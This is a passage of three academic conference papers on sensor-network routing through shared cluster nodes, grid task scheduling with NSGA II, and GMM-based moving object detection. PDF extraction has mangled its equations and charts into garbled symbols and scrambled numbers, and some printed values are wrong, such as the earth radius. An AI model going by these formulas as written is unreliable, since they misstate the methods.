clusters. As the nodes in such common zones can potentially communicate directly
with any of the overlapping CHs, resolving issues related to interference and data
transmission conflicts is of major significance. While several approaches have been
proposed in literature to avoid such conflicts, we make an attempt to take advantage
of this feature and introduce the Common Node Exploitation (CNE) approach to
reduce path latency. Based on the CNE approach, we develop two algorithms
(a) optimal path determination in location-aware WSN, and (b) optimal path
determination for random node deployment in WSN; that exploit the common
nodes to reduce path latency. Whenever the latency for a given cluster is more than
a predefined threshold, the algorithms use the CNE approach to determine the
shortest possible path to the sink through neighboring CHs. Simulations were
carried out for the two algorithms to study their efficacy vis a vis the traditional
approach. The results of the simulations amply demonstrate that the CNE approach
significantly reduces the latency and thereby the energy expended by cluster nodes.
The paper is organized as follows: A brief review of related work is presented in
Sects. 2 and 3 introduces the CNE approach and describes the two algorithms. The
simulation model and the results of the simulations are discussed in Sects. 4 and 5
concludes the work.
2 Related Work
Clustering is one of the most popular approaches to address issues related to

latency, energy consumption, and traffic congestion in WSN [1–3]. The nodes in a
cluster are usually within single hop distance from a node that is designated as the
CH. The CHs act as gateway nodes for communication with the Base Station.
LEACH (Low energy adaptive clustering hierarchy) protocol uses randomized
rotation of CHs based on member node’s energy [4]. During the course of com-
munication, few nodes may die after exhausting energy. LEACH and
LEACH-central do not consider these dead nodes while forming clusters. In [5] a
routing algorithm that prevents dead nodes becoming the CH is presented to
achieve load balance as well as energy efficiency in WSN.
In applications where sensing load is not uniform across the WSN, there may be
a load imbalance in the gateways. To counter this, Low et al [2], group the sensor
nodes into clusters to enhance the scalability of the network and develop clustering
algorithms to balance the load across the gateways. In [6] the concept of an
Exploiting Common Nodes in Overlapped Clusters … 211
overlapping area head (OAH) has been proposed, where an OAH is selected from
the overlap region, which acts as a gateway to facilitate inter-cluster communica-
tion. The node, which can cover the most number of clusters in the overlap zone, is
selected as the OAH. Each CH sends its aggregated data to all neighboring CHs and
OAHs, which then try to relay the information to the sink. While the use of OAH
enhances reliability as more than one set of aggregated data is relayed to the sink,
the approach can potentially lead to traffic congestion, and thereby lead to an
increase in the energy expended.
Most WSN applications demand QoS guarantees for end-to-end latency, reli-
ability, and energy efficiency. In applications such as monitoring of smart power grid,
the data rates may suddenly shoot up when there is an excessive load on one of the
grid elements, or due to the occurrence of critical faults. An adaptive scheme that can
achieve low latency while maintaining high reliability has been proposed for cluster
tree based WSNs in [1, 7]. Assigning data priority while maintaining acceptable
reliability and energy efficiency was found to be reduced for end-to-end delay. The
scheme also provides differentiated QoS, with higher priorities being given to most
critical applications. A scheme to make use of border nodes in a cluster, which are
within one hop distance from nodes in neighboring clusters, has been proposed in [8].
In this scheme, the border nodes directly communicate with a destination node, if it is
within one hop distance to boarder node. Several routing protocols have been pro-
posed in literature, and Liu [9] presents an in depth survey of various protocols.
3 Cluster-Based Path Optimization Algorithms
While forming clusters, there could be an overlap zone and some sensor nodes in this
zone, though assigned to one cluster may be covered by other CHs as well. Such
common nodes can potentially respond to any of the clusters if necessary. However,
traditionally the nodes are made to claim allegiance only to one cluster, and are
prohibited from communicating directly with other CHs. Further, to avoid multi-
cluster affiliation, the nodes in the network are usually forced to associate themselves
with only one CH. Thus even if a node is located within one hop distance from other
CHs, it is made to associate itself with only its own CH. We make an attempt to
deviate from this traditional approach and try to exploit the nodes that fall under
common zone to communicate directly with other CHs or nodes in other clusters,
depending on the reach and battery capacity. We propose the common node
exploitation (CNE) methodology where the nodes are located within one hop dis-
tance from two or more clusters have the freedom to associate themselves with any of
the CHs. Such common nodes send ‘router advertisement’ [8] to all reachable sensor
nodes from time to time, so that the neighboring sensor nodes within the transmission
range of the common nodes update this information in their routing table.
We base our CNE approach on this proposition and develop two algorithms that
exploit the common nodes to reduce transmission path to the base station, and also
to reduce the energy consumption. As the common nodes are located in fringe areas
of the cluster, there may be several border nodes in neighboring clusters that lie in
close proximity to these common nodes. In the proposed CNE approach, the
common nodes act as temporary bridge between border nodes and the CHs.
The first algorithm developed assumes a location aware paradigm, where the
sensor nodes are deployed in a regular grid-based topology. Nodes are assumed to
have a built in GPS to identify their latitude and longitude. The second algorithm
assumes a random topology, where the nodes are placed in random. In both
algorithms, the nodes are covered by circular clusters, where the CH is located
within one hop transmission range from other nodes in the cluster.
3.1 Path Optimization in Location Aware WSN
In location aware network, the geographic positions of the sensors are generally fixed.
To simulate such network, we deploy nodes uniformly, across a two-dimensional
WSN space of D x D sq. units. We then divide the WSN space into square shaped
cells with side length S. Sensor nodes are then placed at the intersection points as
shown in Fig. 1. The number of nodes Nd deployed as per this scheme is given by:
Nd ¼ n2 þ 2n þ 1 ð1Þ
where n is an integer and is equal to D/S. Each node is assigned a latitude and
longitude, with the origin being located at 17.4192(N), longitude 78.5414(E).
The distance d from CH to each node is calculated using Haversine [10] formula
given below:
d ¼ 2 R a tan2 ðsqrtðaÞ; sqrtð1 aÞÞ ð2Þ
Fig. 1 Deployment of nodes

at cell intersection points
where a = sin2(Δ latitude/2) + cos(lat1) * cos(lat2) * sin2(Δ longitude/2)

and R is earth mean Radius 6,317 km.
The entire WSN space is divided into four circular-shaped clusters with the CH
located at the center. In order to ensure that the four clusters try to cover a sig-
nificant portion of the WSN space, the cluster radius/transmission range TR is
chosen to be greater than D/4. Intuitively, it can be observed that greater the
transmission range, larger is the number of common nodes that are within one hop
distance from more than one CH.
The CHs maintains latency information, which is shared with its cluster nodes.
This information helps a common node to arrive at decision, whether to route its
sensed data to the sink through its own CH as per the traditional approach, or to
route it through a relatively less loaded neighboring CH as per the CNE approach. If
latency at a CH is more than the threshold value, then nodes send data to a common
node. The common node then find an alternate, shorter, and optimized path to the
sink with the help of other CHs that are within its one hop distance. Algorithm 1,
determines all possible paths from a node to the sink via all common nodes in its
cluster as per the CNE approach, to arrive at the shortest path. The nodes then
choose this alternate optimized path to communicate their information to the sink.
Algorithm 1: Optimal Path determination in Location (latitude, longitude)
aware WSN
Input : Deployment Area DxD, location of Sink Vs ( vs vs), Size/length of Grid (S), number
of CHs (CH), transmission range r
Output : Optimal Path between each node and sink Vs
1: Initialization:
latitude (x) and longitude (y) // origin (x, y) of deployment area
2: Partition the Deployment Area into NG square shaped grids of length S
NG := n x n, where n = D/S is an integer
3: Node deployment at grid intersection points
Calculate the number of nodes Nr to be deployed Nr := n2 + 2n + 1 ;
For i = 1 to Nr, Assign node identities for each node Ni
4: Form clusters based on transmission range Number of clusters G := CH ;
for k = 1 to G {
determine middle intersection point Mk(xk, yk) for each cluster Gk
Set coordinates of CH CHk(xk, yk) = Mk(xk, yk);
// Identify member nodes of each cluster
Gk Member_Nodes (CHk(xk, yk), Nij(x, y), r) ; } // returns member nodes
5: Identify common nodes from adjacent clusters
for l = 1 to G
{ for m = 1 to G { CNlm Common_Nodes (Gl, Gm) ; } }
6: Calculate Latency at CH
7: IF Latency > default value Then
Calculate the optimal path OPp from nodes in cluster Gp to sink
for p = 1 to G
{ for q = 1 to G {
OPpq Optimal_Path (Gp, Gq) ; }}
8: Return optimal paths OP for all nodes from source to sink
3.2 Path Optimization for Random Node Deployment

in WSN
In this model, nodes are deployed using random distribution across the network
space D × D sq. units. We divide the WSN space into grids and position the CHs
closer to the intersection points of the grid. The distance d between two nodes is
determined using

d ¼ sqrt ðx2 x1 Þ2 þðy2 y1 Þ2 ð3Þ
where (x1, x2) and (y1, y2) are coordinates of two nodes.
Common Nodes in the overlap regions have the freedom to join any CH closer to
the sink. Whenever a node encounters latency greater than its threshold value, it
adopts the CNE approach to find an alternate optimized path to the sink via common
nodes as illustrated in Fig. 2. Algorithm 2 calculates the path latency to all possible
paths from a randomly deployed node to the sink and determines an optimal path.
Algorithm 2: Optimal Path from Source to Sink for Random Deployment
Input: Deployment Area DxD D is dimension, location of Sink Vs ( Xs , Ys ) , Size/

length of Grid (S), Network size/Network density (Ns), Number of clusters
(Num), Transmission range ( r ).
Output:Print Optimal Path (P) from source node to sink Vs
1: For I := 1 to Num, Do
Randomly generate the point coordinates
X[ i ] := Xi ; Y [ i ] := Yi ; Pt [ i ] := Pt;
End For
2: Assign to each point Pi a node_Id : Pi := node_Id;
3: Randomly select some of the points as CH
CHi Pi and |CHi| == Num;
4: Generate cluster members for each CH
Vi such that i := 1 to Num Member Nodes (CHi , Pt , X, Y, r );
5: Identify the common nodes lying in the overlap region of neighbor clusters:
Common_Nodes in_Adjacent_cluster ( CHi , CHj );
6: Calculate Latency at CH.
7: If Latency > default value Then
Calculate the optimal path (P) from each point Pi in Memi to Vs
Via common_setI,j and CHj. Intialize D[ ] = 0;
For each Pi I = 1 to | Memi|
do
For each Pj j = 1 to | common_setI,j | do
D1 = Distance (Xpi ,Ypi , Xpj , Ypj ) ; D2 = Distance (Xpj , Ypj , XCHj , YCHj) ;
D [ I ] = D1 + D2; End For
Find the minimum distance value from D [ ]; End For
4 Simulation and Results
Simulations were carried out to study the efficacy of the proposed CNE approach as
compared to the traditional approach. Nodes are deployed in a WSN space of
100 × 100 sq. units for both uniform distribution and random distribution models.
Fig. 2 Nodes in randomly

deployed cluster hierarchy
The transmission range TR is chosen as 20, 25, and 30 and the total WSN space is
covered by 4 and 9 clusters, respectively, for the uniform and random deployment
studies. The number of nodes in the WSN space is varied in random distribution
method from 150 to 250. The nodes encounter a latency ranging from 1 to 10, and
are made to choose the CNE approach if the latency is more than 4.
A comparison of the path lengths obtained by the traditional and CNE
approaches for uniform and random node deployment are presented in the bar
graphs shown in Fig. 3a, b, respectively. The results of the simulation show that the
CNE approach significantly reduces the path length.
(a) (b)
80
70 50
Path Length
60 45
50 40
40 35
Path Length
30
30
20
10 25
0 20
C4- C5- C4- C5- C6- C5- C6- C7- C8- C7- C8- C9- C8- C9- 15
C1 C1 C2 C2 C2 C3 C3 C4 C4 C5 C5 C5 C6 C6
10
Overlapped Clusters 5
0
CNE Traditional
C3-C1 C4-C1 C3-C2 C4-C2
Overlapped Clusters
CNE Traditional
Fig. 3 a Path length in randomly deployed. b Path length in GRID
Power Consumption
300
250
200
150
100
50
0
C4- C5- C4- C5- C6- C5- C6- C7- C8- C7- C8- C9- C8- C9-
C1 C1 C2 C2 C2 C3 C3 C4 C4 C5 C5 C5 C6 C6
Overlapped Clusters
CNE Traditional
Fig. 4 Comparison of energy consumption in CNE and traditional method
The energy expended E in transmission is a function of its distance [11], and is

given E = kdc, where d is the distance between two nodes, k is constant and
2 < c < 4. For our simulations, we assume K = 0.1 and C = 2, and to determine the
total energy expended by the traditional and CNE approaches along the path to the
sink. The results plotted in Fig. 4 show that the CNE approach is more energy
efficient than the traditional approaches.
5 Conclusion
A new common node exploitation (CNE) model has been introduced to exploit the
common nodes in cluster overlap zones for optimization of path and energy con-
sumption. Two algorithms for reducing path length based on the proposed CNE
approach are developed for location aware and random node deployment cases. The
simulations carried out for both location aware as well as random deployment of
sensors, have shown that the CNE approach-based path optimization algorithms
outperforms the traditional approaches, both in terms of path length and energy
consumption. As a future work, the CNE approach will be extended to study on
QoS issues, for like latency, reliability, and aggregation delay.
References
1. Irfan, A.-A., Melike, E.-K., Hussein, Mouftah, T.: A traffic adaptive inter CH delay control
scheme in WSNs. IEEE 910–915 (2013)
2. Low, C.P., Fang, C., Ng, J.M., Ang, Y.H.: Load-balanced clustering algorithms for wireless
sensor networks. In: ICC IEEE 2007 Proceedings, pp. 3485–3490. IEEE (2007)
3. Ying, L., Qi, H., Li, W.: Load-balanced clustering algorithm with distributed self-organization
for wireless sensor networks. IEEE 1498–1506 (2012)
4. Heinzelman, W.R., Chandrakasan, A., Balakrishnan, H.: Energy-efficient protocol for wireless
micro sensor networks. In: Proceedings of the 33rd Hawaii International Conference on
System Sciences—2000. IEEE (2000)
5. Israr, N., Awan, I.: Coverage based inter cluster communication for load balancing in wireless
sensor networks. In: 21st International Conference on Advanced Information Networking and
Applications Workshops (AINAW-2007). IEEE (2007)
6. Beldjehem, M.: Towards a multi-hop multi-path fault-tolerant and load balancing hierarchical
routing protocol for wireless sensor network. Wireless Sens. Netw. 5, 215–222 (2013)
7. Al-Anbagi, I., Erol-Kantarci, M., Hussein, Mouftah, T.: QoS-aware inter-CH scheduling in
WSNs for high data rate smart grid applications. IEEE 2628–2634 (2013)
8. Tufail, A.: Reliable latency-aware routing for clustered WSNs. Int. J. Distrib. Sens. Netw.
2012, Article ID 681273
9. Liu, X.: A survey on clustering routing protocols in wireless sensor networks. Sensors 12,
11113–11153 (2012)
10. Finding Distances Based on Latitude and Longitude Using Haversine Formula: http://andrew.
hedges.name/experiments/haversine/
11. Venkataraman, G., Emmanuel, S., Thambipillai, S.: DASCA: a degree and size based
clustering approach for wireless sensor networks. IEEE 508–512 (2005)
Maximizing Availability and Minimizing
Markesan for Task Scheduling in Grid
Computing Using NSGA II
Dinesh Prasad Sahu, Karan Singh and Shiv Prakash
Abstract Large distributed platform for computationally exhaustive applications is

provided by the Computational Grid (CG). Required jobs are allotted to the com-
putational grid nodes in grid scheduling in order to optimize few characteristic
qualities of service parameters. Availability is the most important parameter of the
computational nodes which is the likelihood of computational nodes accessible for
service in specified period of time. In this paper, emphasis has given on optimi-
zation of two quality of service (QoS) parameter makespan (MS) and availability
grid system for the task execution. Since, the scheduling problem is NP-Hard, so a
meta-heuristics-based evolutionary techniques are often applied to solve this. We
have proposed NSGA II for this purpose. The performance estimation of the pro-
posed Availability Aware NSGA II (AANSGA II) has been done by writing pro-
gram in Java and integrated with gridsim. The simulation results evaluate the
performance of the proposed algorithm.
Keywords Scheduling Availability Makespan AANSGA II
1 Introduction
A grid environment has two kinds of schedulers: global scheduler and local
schedule [1, 2]. The global scheduler is responsible for the fulfilling requirements of
the different users in Computational Grid (CG) [3] by distributing the jobs to
D.P. Sahu (&) K. Singh

School of Computer and Systems Sciences, Jawaharlal Nehru University,
New Delhi 110067, India
e-mail: dinesh.sahu1230@gmail.com
K. Singh
e-mail: karan@mail.jnu.ac.in
S. Prakash
Department of Chemical Engineering, Indian Institute of Technology, Delhi 110016, India
e-mail: shivprakash@chemical.iitd.ac.in

220 D.P. Sahu et al.
different nodes [4, 5]. Jobs are distributed to different grid nodes in CG by using
scheduling strategy. Due to the large solutions space in CG scheduling problem
becomes an NP-hard problem [3]. Availability of nodes for service in given period
of time is an important parameter. In this paper, we explore makespan (MS) and
availability-aware scheduling algorithm by using NSGA II (AANSGAII) for grid
on a set of nodes [6, 7].
2 The Problem
Task scheduling is an essential problem which is incorporated in any computing

systems. For CG, resource scheduling models are required to address new concerns.
The scheduling becomes more complex as the grid size increases which makes it
extremely impractical. In scheduling in CG, First Come and First Served (FCFS)
scheduling is used by local scheduler [1, 4, 8–11] although other local policy can be
utilized. Scheduling is the process of assigning the jobs to grid nodes to complete its
execution and it is done in such a way to optimize some characteristic Quality of
Service (QoS) parameters. These parameters may be waiting time, throughput,
utilization of system, security [12], turnaround time, response time, and fairness.
Scheduling [2, 8–11, 13–19] is a significant and important concern for getting high
performance in computational grid. Time required between start and finishing of
earliest task is named as MS of the schedule. So, the goal of the grid scheduling is
to optimize QoS Parameters by proper assignment of tasks to the nodes. In this
paper, the aim of the grid scheduling is to diminish the MS by appropriate distri-
bution of user jobs to grid nodes by considering execution of task sequences with
availability.
3 Related Work
The grid is basically a heterogeneous collection of numerous resources. Several

challenges are generated due to the heterogeneity of the grid. These challenges
include multiplicity and changing nature of local resources and maintaining the
QoS [17, 18, 20]. Resource Scheduling Problem for CG is concerned with
assigning the many tasks to be executed on various nodes of the grid so that
computing resources are utilized in efficient manner. Efficient task scheduling is
necessary for optimum performance in heterogeneous environments. Scheduling in
CG is an NP-Hard problem. This paper addresses the multiobjective task sched-
uling on the nodes of CG and in the process it has applied NSGA II [21, 22] which
is nondominant sorting II version of GA [18, 19]. Min-Min and Max-Min [9] are
already used models.
Maximizing Availability and Minimizing Markesan … 221
Makespan is one of the most important characteristic parameter [23, 24], which
is the time taken by the latest task to complete its execution in a given schedule.
Each job has nonnegative processing time.
4 The Proposed Model
The offered model, that minimizes MS and maximizes availability in computational

grid, has been deliberated as follows.
4.1 Fitness Function
Fitness function for MS is derived with the help of Queuing Theory [17, 23].
" #
r
X
m ki 1
MS ¼ max þ dji NOIj ð1Þ
i¼1
j¼1
li ðli ki Þ li
The paper is focused on optimizing the availability and makespan. Likelihood of

a gird node accessible in a given time period is the availability of node in CG [5]. It
is based on Mean Time to Repair (MTTR) and Mean Time to Failure (MTTF).
Availability Ai(t) of ith node is specified by following Eq. (2).
MTTFi
Ai ðtÞ ¼ ð2Þ
MTBFi
Nodes are arranged in parallel fashion for independent task scheduling in grid.
When all the grid nodes fail the entire system collapse. The availability [5] of
m parallel components is defined by Eq. (3).
Y
m
Ap ðtÞ ¼ ð1 ð1 Ai ðtÞÞÞ ð3Þ
i¼1
where, Ap ðtÞ is availability of whole grid system, the availability of ith grid node is
Ai ðtÞ and number of nodes in the grid environment is m.
By using Eqs. (1) and (2) we can compute lambda parameter for negative
exponential distribution which is given by Eq. (4)
Ai ðtÞ
lambdaðiÞ ¼ ð4Þ
ETCði; jÞ
Accumulated availability of ith node (AA(i)) is given by Eq. (5),
AAðiÞ ¼ expðAi ðtÞ=ETCði;jÞÞ ð5Þ
By substituting the value of lambda in Eq. (6) we get Eq. (6),
AAðiÞ ¼ expðlambdaðiÞÞ ð6Þ
Since our solely purpose is to maximize the availability and minimize MS. One
of the restrictions is MS produced by the algorithm must be not more than the user
defined makespan (MUMS).The above scenario can be captured by the following
Eq. (7):
Minimize MS with MS MUMS ð7Þ
5 Experimental Evaluation and Result
The proposed model is evaluated in this section by performing experimentations.

The volume of input data affects the convergence of the solution. The experiments
are performed by writing the programs in Java and integrated with Gridsim [4] to
evaluate the performance on the system with 500 GB secondary memory and 4 GB
primary memory, respectively. Input parameter values are as follows: number of
grid nodes 16–1000, number of jobs 50–14,000, arrival Rate 1–100 MIPS, task size
2000–5000 MI, and range of processing speed 101–200 MIPS. The grid sizes are
small (3–32 nodes and 10–512 tasks), medium (33–64 nodes and 513–1024 tasks),
and large (65–128 nodes and 1025–2048 tasks. Normal distribution is used to
randomly generate the potential of the resources and the size of tasks. It is expected
to schedule all submitted jobs to the system by using all the grid nodes. Above
parameters are also used in [4, 8, 25]. We run the simulation setup up-to 10
iterations and then average is taken for each result shown in this work.
5.1 Effect on Makespan and Availability
Number of experimentation has been conducted using NSGA II [21, 22] and the
result of the experiment is listed in the Table 1. From the Table 1, depicted that the
NSGA II gives the better MS than Max-Min and Min-Min procedure and avail-
ability of the grid nodes are approximately 1 in case of NSGA II.
Maximizing Availability and Minimizing Markesan … 223
Table 1 Makespan and availability by NSGA II

No. of No. of Makespan Makespan Makespan Availability by
nodes tasks NSGA II MIN-MIN MAX-MIN NSGA II
3 10 297.4 448.2955 448.2955 0.9982926
8 256 5578.8 10000000 3.5E+11 0.9900669
16 256 2674.2 6792966 6792966 0.9976508
32 256 10003.9 15782.03 15782.03 0.9980495
40 600 57297.3 2736774 2736774 0.9980682
80 1200 11123.5 2364124 2364124 0.9863531
50 700 50023.9 1086594 1086594 0.9966656
128 2048 153625.5 4105532 4105532 0.9945135
6 Conclusion
In this paper, proposed model is a hybrid scheduling in CG with MS minimization

and availability maximization using AANSGA II technique. AANSGA II is a
meta-heuristic evolutionary computation algorithm to solve complex
multi-objective optimization problem for availability maximization and MS mini-
mization. Performance of the proposed AANSGA II method has been studied by
carrying out the number of experiments and it is found that it performs well with
respect to the MS and availability. The effectiveness of the model is also studied
with scaled input and found that model is performing superior than both max-min
and min-min algorithms.
References
1. Foster, I., Kesselman, C.: The Grid 2: Blueprint for a New Computing Infrastructure. Morgan
Kaufmann Publishers is an Imprint of Elsevier (2004)
2. Berman, F.G., Anthony, F., Hey, J.G.: Grid Computing: Making the Global Infrastructure a
Reality. John Wiley and Sons (2003)
3. Garey, M.R., Johnson, D.S.: Computers and Intractability: A Guide to the Theory of
NP-Completeness. W.H. Freeman and Company, New York (1979)
4. Buyya, R., Murshed, M.: Gridsim a toolkit for the modeling and simulation of distributed
resource management and scheduling for grid computing. Concurr. Comput. Pract. Experience
14(13–15), 1175–1220 (2002)
5. Kumar, C., Prakash, S., Kumar, T., Sahu, D.P.: Variant of genetic algorithm and its
applications. International Conference on Advances in Computer and Electronics Technology,
Hong Kong, pp. 25–29 (2014)
6. Shi, Z., Dongarra, J.: Scheduling workflow applications on processors with different
capabilities. Future Generation Comput. Syst. 2006(22), 665–675 (2006)
7. Prakash, S., Vidyarthi, D.P.: A novel scheduling model for computational grid using quantum
genetic algorithm. J. Supercomput. Springer 65(2), 742–770 (2013)
8. Prakash, S., Vidyarthi, D.P.: Maximizing availability for task scheduling in computational grid
using GA. Concurr. Comput. Practice Experience, Wiley 27(1), 193–210 (2015)
9. Braun, T.D., Sigel, H.J.N.: Beck A comparison of eleven static heuristic for mapping a class of
independent tasks onto heterogeneous distributed computing systems. J. Parallel Distrib.
Comput. 61, 810–837 (2001)
10. Abawajy, J.H.: Automatic job scheduling policy for grid computing. LNCS, Springer-Verlag,
Berlin Heidelberg 3516, 101–104 (2005)
11. Xhafa, F., Abraham, A.: Meta-heuristics for grid scheduling problems. Stud. Comput. Intell.
Series, Springer 146, 1–37 (2008)
12. Dora, D.P., Kaiwartya, O.P., Kumar, S., Prakash, S.: Secured time stable geocast (S-TSG)
routing for VANETs. 3rd International Conference for Computer and Communication
Technology, LNCS, Springer, pp. 1–6, (2015)
13. Koren, I., Krishna, C.M.: Fault tolerant systems. Morgan Kaufmann is an imprint of Elsevier
(2007)
14. Xhafa, F., Abraham, A.: A genetic algorithm based schedulers for grid computing systems. Int.
J. Innov. Computing, Inform. Control 3(6), 1–19 (2007)
15. Rajni, A., Chana, I.: Formal QoS policy based grid resource provisioning framework. J. Grid
Comput. 10(2), 249–264 (2012)
16. Cooper, R.B.: Introduction to Queuing Theory, 2nd edn. Elsevier North Holland Publications
(1981)
17. Kumar, C., Prakash, S., Kumar, T., Sahu, D.P.: Variant of genetic algorithm and its
applications. Int. J. Artificial Intell. Neural Networks 4(4), 8–12 (2014)
18. Sahu, D.P., Singh, K., Prakash, S.: Deep auto-encoders for non-linear dimensionality
reduction. J. Bioinform. Intell. Control 3(4), 23–27 (2014)
19. Kaiwartya, O.P., Sahu, D.P., Prakash, S., Vidyarthi, D.P: Energy aware scheduling for
dependent task in computational grid using genetic algorithm. KSII Trans. Internet Inform.
Syst. 9(5), 220–237 (2015)
20. Sahu, D.P., Singh, K., Prakash, S.: Review on resource scheduling models to optimize quality
of service parameters in grid computing using meta-heuristics. Int. J. Comput. Appl. (2015)
21. Deb, K., Agrawal, S., Pratap, A., Meyarivan, T.: A fast and elitist multi-objective genetic
algorithm: NSGA-II. IEEE Trans. Evol. Comput. 6(2), 182–197 (2002)
22. Srinivas, N.: Deb, kalyanmoy.: multi-objective optimization using non-dominated sorting in
genetic algorithms. Evol. Comput. 2(3), 221–248 (1994)
23. Prakash, S., Vidyarthi, D.P.: Observations on effect of IPC in GA based scheduling on
computational grid. Int. J. Grid High Perform. Comput. 4(1), 67–80 (2012)
24. Prakash, S., Vidyarthi, D.P.: Immune genetic algorithm for scheduling in computational grid.
J. Bio-Inspired Comput. 6(6), 397–408 (2014)
25. Kashyap, R., Vidyarthi, D.P.: Energy-aware scheduling model for computational grid.
Concurr. Comput. Practice Exper. 24(12), 1377–1391 (2012)
Moving Object Detection for Visual
Surveillance Using Quasi-euclidian
Distance
Dileep Kumar Yadav and Karan Singh
Abstract Moving object detection is a fundamental step for visual surveillance

system, other image processing, and computer vision applications. The most pop-
ular and common technique for moving foreground detection is background sub-
traction. In dynamic background, Gaussian Mixture Model performs better for
object detection. In this work, a GMM-based background model is developed. This
work proposes a quasi-euclidian distance measure in order to measure the variation
in terms of distance, between modeled frame and test frame. To classify the pixel,
this distance is compared with a suitable threshold. The connected component and
blob labeling has been used to improve the model with a threshold. Morphological
filter is used to improve the foreground information. The experimental study shows
that the proposed work performs better in comparison to considered state-of-the-art
methods in term precision, recall, and f-measure.

Keywords Gaussian mixture model Quasi-euclidian distance Object detection

Visual surveillance Morphological filter
1 Introduction
In automated video analysis object detection is a fundamental step in many com-

puter vision applications like traffic analysis, indoor-outdoor visual surveillance,
abnormal activity analysis, abandoned object detection, sports events detection and
tracking, logo detection, crack detection, medical analysis, etc. [1, 2]. The main aim
of object detection in video is to locate and segment moving object than tracking
the moving object in each frame. It can be achieved by various techniques like
D.K. Yadav (&) K. Singh

School of Computer and Systems Sciences, JNU, New Delhi 110067, India
e-mail: dileep252000@gmail.com
K. Singh
e-mail: karan@mail.jnu.ac.in

226 D.K. Yadav and K. Singh
background subtraction, differential, or special kind of trackers [3–5]. This work

focuses on background subtraction techniques. This technique is basically com-
pleted in three steps. First is training step, where a background has modeled using
few initial frames and assumes that there was no moving object in training frames,
i.e., each training frame has static background. Second is testing step, has moving
object in the scene and each test frame is subtracted from BG modeled frame. This
difference frame is known as difference frame. Next is classification step and it is
part of testing stage. In this step, each pixel of difference is classified step as part of
background or part of moving object, i.e., foreground. In the next step, we enhance
the detection quality of moving foreground using image processing techniques. The
modeled background frame has been updated using BG maintenance mechanism
adaptively for each test frame [1, 6]. A suitable threshold is required for each pixel
classification. Modeling and maintenance of BG is very critical issue in literature.
The selection of suitable threshold is the major problem in BGS techniques.
But in real-life scenario, background is complex due to motion in BG (like
spouting/rippling water), changed illumination variation (caused by cloudy envi-
ronment, reflection of light), moving shadow, etc. [7, 8]. In computer vision, visual
surveillance has emerged as very active consumer electronic-based
application-oriented research area. According to the current market survey, user
demand for real-time surveillance security applications and technological
improvement that aims the detection of anomaly, event, motion, etc., is required
that may affect the safety, security, economics, or humanity.
1.1 Organization of Paper
In the first section, Introduction part is covered that represent overview, application
area, and major issues available in the literature. Second section briefly summarizes
the literature. Third section explains the proposed work and fourth section explains
the experimental results and analysis. The fifth section consists of conclusion and
future directions.
2 Related Literature Survey
The BGS technique has many review articles [2, 5–10] proposed a GMM-based
approach-it uses the concept of GMM for each pixel density using pixel process.
This model resolves dynamic background-and noise-related issues using multi-
model GMM-based probability distribution. This model classifies the pixel as
background using values of mixture components, i.e., larger components can be
categorized as part of background and remaining as foreground. Lee [9] proposed a
BG subtraction-based technique using adaptive GMM. This model presents an
effective scheme that improves convergence rate and accuracy. Haque et al. [6]
Moving Object Detection for Visual Surveillance … 227
presents a improved versions of GMM-based method [5, 9]. This model considers a
fixed threshold that is independent of learning rate and overcomes the drawback of
[5]. Haines et al. [2] presented a Dirichlet process-based GMM to estimate the
background distribution. It overcomes issues related to dynamic background and
updation in real-time applications. Charles et al. [11] proposed a spatiotemporal
inference based method that used color and texture based inference to characterize
local response and handles problematic issues of illumination variation and shadow.
Akula et al. [12] presents a statistical BGS-based adaptive method for object
detection in thermal frame sequence. Various issues like sudden illumination var-
iation, soft shadow, less visibility, and night vision has been avoided by using
thermal imaging. Zhou et al. [8] gives a low rank-based outlier detection method for
moving object detection and handles various issues like nonrigid motion and
dynamic nature of the background scheme.
3 Proposed Work
In the proposed work, the background model is constructed in similar way as [6],
but this work presented them on RGB channels of each pixel because processing on
RGB channels gives better foreground information that was our main goal. In this
work, an effective BGS-based scheme is developed over dynamic background
scenes. Another contribution of proposed work is the use of quasi-euclidian dis-
tance function instead of Euclidian distance. The proposed method completed in
two steps: First step, training stage, is to model the background for initial few
training frames to get better performance. Here, we use a fixed threshold values for
classification of each pixel. In second step, i.e., testing stage, the foreground pixel is
classified using background subtraction technique.
3.1 Training Stage
The background is modeled using initial few frames (i.e., 50). In the initial state of
background modeling, first pixel is assigned with some initial weight (w), standard
deviation (σ), learning rate (α), and mean value (µ). The learning rate is used to
assign some updated values to parameters according to rate of change. Initial value
of learning rate used in this work is 0.001 and k Gaussians are used (k = 5). In [5], a
fixed threshold T was used that was highly sensitive to environment and during
classification of pixel, threshold T was somehow depends on learning rate because
sensitivity of α was closely tied with T. To overcome this drawback, [6] used a fixed
threshold S that was independent of learning rate α. It also improves performance of
the system. Initially, [5, 6] or new Gaussian, initialize the parameters with the
following values:
lk ¼ It ; rinit ¼ 30; winit ¼ 0:001; ð1Þ
If (It − µk) ≤ 2.5 * σ then the following parameters are updated
lk ¼ ð1 aÞ lk þ a It ð2Þ
r2k ¼ ð1 aÞ r2kþ a ðIt lk Þ2 ð3Þ
wk ¼ ð1 aÞ wk þ a ð4Þ
Otherwise the parameters are updates as
wk ¼ ð1 aÞ wk ð5Þ
3.2 Testing Stage
The proposed work updates the background as suggested by [6], instead on gray
color this work has performed on RGB colored pixel in order to achieve more
visual information. Here, RGB pixel value of each frame is subtracted from cor-
responding RGB pixel value of background modeled frame. Then, evaluate
quasi-euclidian distance between these pixels. The quasi-euclidean distance mea-
sures the total euclidean distance along with the set of horizontal, vertical, and
diagonal line segments whereas euclidian distance is simply the straight line dis-
tance between two pixels in an image as shown in Fig. 1. This distance is compared
with fixed threshold S and classified with each pixel as part of foreground or
background.
Fig. 1 Distance measure between pixels
Where, BGM_i.m_r is mean value of red component of ith pixel of background

modeled frame. The problem of isolated pixels was solved by using binary mor-
phology. This work uses a four-connected neighborhood without any temporal
pixels for avoiding increased space and computational complexity. The grouping
scheme is applied to classify moving objects into several moving regions. To group
moving regions, four-directional blob labeling has been used. Finally, evaluate the
properties of image regions. Using region-based properties, this work considers
small blobs and chooses a suitable threshold for considering small blobs as
background.
4 Experimental Setup and Analysis
In this section, the proposed results are compared qualitatively and quantitatively
with the state-of-the-art models discussed in [2, 6, 7]. Here, all the experiments have
been performed on gray-scale frame sequences. Real-time problematic scenarios
(Change Detection dataset [13] with frame size 320 × 240, and Wallflower [14]
with frame size 160 × 120) have been used for experimental analysis. The proposed
experiment is carried out on Windows 8.1 operating system over Intel (R) Core
(TM) i5 processor with CPU 1.70 GHz speed and 4 GB RAM. The implementation
of all experiments were carried out on MATLAB-2011b environment (Fig. 2).
